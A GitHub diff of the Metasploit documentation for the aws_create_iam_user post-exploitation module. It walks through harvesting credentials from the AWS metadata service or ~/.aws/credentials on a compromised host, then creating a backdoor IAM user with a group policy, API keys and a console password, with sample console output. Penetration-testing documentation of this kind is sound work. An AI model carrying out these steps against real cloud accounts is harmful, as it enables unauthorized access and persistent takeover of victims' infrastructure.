You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: documentation/modules/post/multi/escalate/aws_create_iam_user.md
+68-52Lines changed: 68 additions & 52 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -68,18 +68,7 @@ access keys from the metadata service. If this fails, search the instance for
68
68
API access keys, e.g., see ~/.aws/credentials, and set `AccessKeyId`,
69
69
`SecretAccessKey`, & `Token` (optional).
70
70
71
-
## Options
72
-
73
-
*`IAM_USERNAME`: set this if you would like to control the username for to user to be created
74
-
*`AccessKeyId`: set this if you find access keys on the host and instance has no profile/privileges
75
-
*`SecretAccessKey`: set this if you find access keys on the host and instance has no profile/privileges
76
-
*`Token`: set this if you find access keys on the host and instance has no profile/privileges. This is optional as this signifies temporary keys, if you find these, these are most likely expired.
77
-
*`Proxies`: depending on your environment, you may wan to proxy your calls to AWS.
78
-
*`CREATE_API`: when true, creates API keys for this user
79
-
*`CREATE_CONSOLE`: when true, creates a password for this user so that they can access the AWS console
80
-
81
-
82
-
### Establish a foothold
71
+
## Establish a foothold
83
72
84
73
You first need a foothold in AWS, e.g., here we use `sshexec` to get the
85
74
foothold and launch a meterpreter session.
@@ -122,7 +111,24 @@ Active sessions
122
111
123
112
```
124
113
125
-
## Overly Permissive Instance Profile
114
+
## Options
115
+
116
+
In the event that the session'd AWS instance does not have an IAM role assigned
117
+
to it with sufficient privileges, the following options can be used to provide
118
+
specific authentication material:
119
+
120
+
*`AccessKeyId`: set this if you find access keys on the host and instance has no profile/privileges
121
+
*`SecretAccessKey`: set this if you find access keys on the host and instance has no profile/privileges
122
+
*`Token`: set this if you find access keys on the host and instance has no profile/privileges. This is optional as this signifies temporary keys, if you find these, these are most likely expired.
123
+
124
+
The following options control the account that is being created:
125
+
126
+
*`IAM_USERNAME`: set this if you would like to control the username for to user to be created
127
+
*`CREATE_API`: when true, creates API keys for this user
128
+
*`CREATE_CONSOLE`: when true, creates a password for this user so that they can access the AWS console
129
+
130
+
131
+
## Abusing an Overly Permissive Instance Profile
126
132
127
133
Here we are assuming that we have taken over a host having an instance profile with
128
134
overly permissive access. Once a session is established, we can load
@@ -136,43 +142,42 @@ SESSION => 1
136
142
msf post(aws_create_iam_user) > exploit
137
143
138
144
[*] 169.254.169.254 - looking for creds...
139
-
[*] Creating user: J2XXox11WW4brAcb
140
-
[*] Connecting (iam.amazonaws.com)...
141
-
[*] Creating group: J2XXox11WW4brAcb
142
-
[*] Connecting (iam.amazonaws.com)...
143
-
[*] Creating group policy: J2XXox11WW4brAcb
144
-
[*] Connecting (iam.amazonaws.com)...
145
-
[*] Adding user (J2XXox11WW4brAcb) to group: J2XXox11WW4brAcb
146
-
[*] Connecting (iam.amazonaws.com)...
147
-
[*] Creating API Keys for J2XXox11WW4brAcb
148
-
[*] Connecting (iam.amazonaws.com)...
149
-
[+] API keys stored at: /home/pwner/.msf4/loot/20161121175902_default_52.1.2.3_AKIA_881948.txt
150
-
[*] Post module execution completed
145
+
[*] Creating user: gavgpsjXwj5HIxiz
146
+
[*] Creating group: gavgpsjXwj5HIxiz
147
+
[*] Creating group policy: gavgpsjXwj5HIxiz
148
+
[*] Adding user (gavgpsjXwj5HIxiz) to group: gavgpsjXwj5HIxiz
If the host does not have an instance profile or the right access, the output will look like so:
154
164
155
165
```
156
166
[*] 169.254.169.254 - looking for creds...
157
167
[*] Creating user: 3SFFML3ucP1AyP7J
158
-
[*] Connecting (iam.amazonaws.com)...
159
-
[-] User: arn:aws:sts::097986286576:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateUser on resource: arn:aws:iam::097986286576:user/3SFFML3ucP1AyP7J
168
+
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateUser on resource: arn:aws:iam::abcd:user/3SFFML3ucP1AyP7J
160
169
[*] Creating group: 3SFFML3ucP1AyP7J
161
-
[*] Connecting (iam.amazonaws.com)...
162
-
[-] User: arn:aws:sts::097986286576:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateGroup on resource: arn:aws:iam::097986286576:group/3SFFML3ucP1AyP7J
170
+
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateGroup on resource: arn:aws:iam::abcd:group/3SFFML3ucP1AyP7J
163
171
[*] Creating group policy: 3SFFML3ucP1AyP7J
164
-
[*] Connecting (iam.amazonaws.com)...
165
-
[-] User: arn:aws:sts::097986286576:assumed-role/msftest/i-abacadab is not authorized to perform: iam:PutGroupPolicy on resource: group 3SFFML3ucP1AyP7J
172
+
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:PutGroupPolicy on resource: group 3SFFML3ucP1AyP7J
166
173
[*] Adding user (3SFFML3ucP1AyP7J) to group: 3SFFML3ucP1AyP7J
167
-
[*] Connecting (iam.amazonaws.com)...
168
-
[-] User: arn:aws:sts::097986286576:assumed-role/msftest/i-abacadab is not authorized to perform: iam:AddUserToGroup on resource: group 3SFFML3ucP1AyP7J
174
+
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:AddUserToGroup on resource: group 3SFFML3ucP1AyP7J
169
175
[*] Creating API Keys for 3SFFML3ucP1AyP7J
170
-
[*] Connecting (iam.amazonaws.com)...
171
-
[-] User: arn:aws:sts::097986286576:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateAccessKey on resource: user 3SFFML3ucP1AyP7J
176
+
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateAccessKey on resource: user 3SFFML3ucP1AyP7J
172
177
[*] Post module execution completed
173
178
```
174
179
175
-
## API Access Keys
180
+
## Abusing API Access Keys
176
181
177
182
In the case that the host we have taken over has no instance profile or does not
178
183
have the required privileges, we can search the host for access keys with
0 commit comments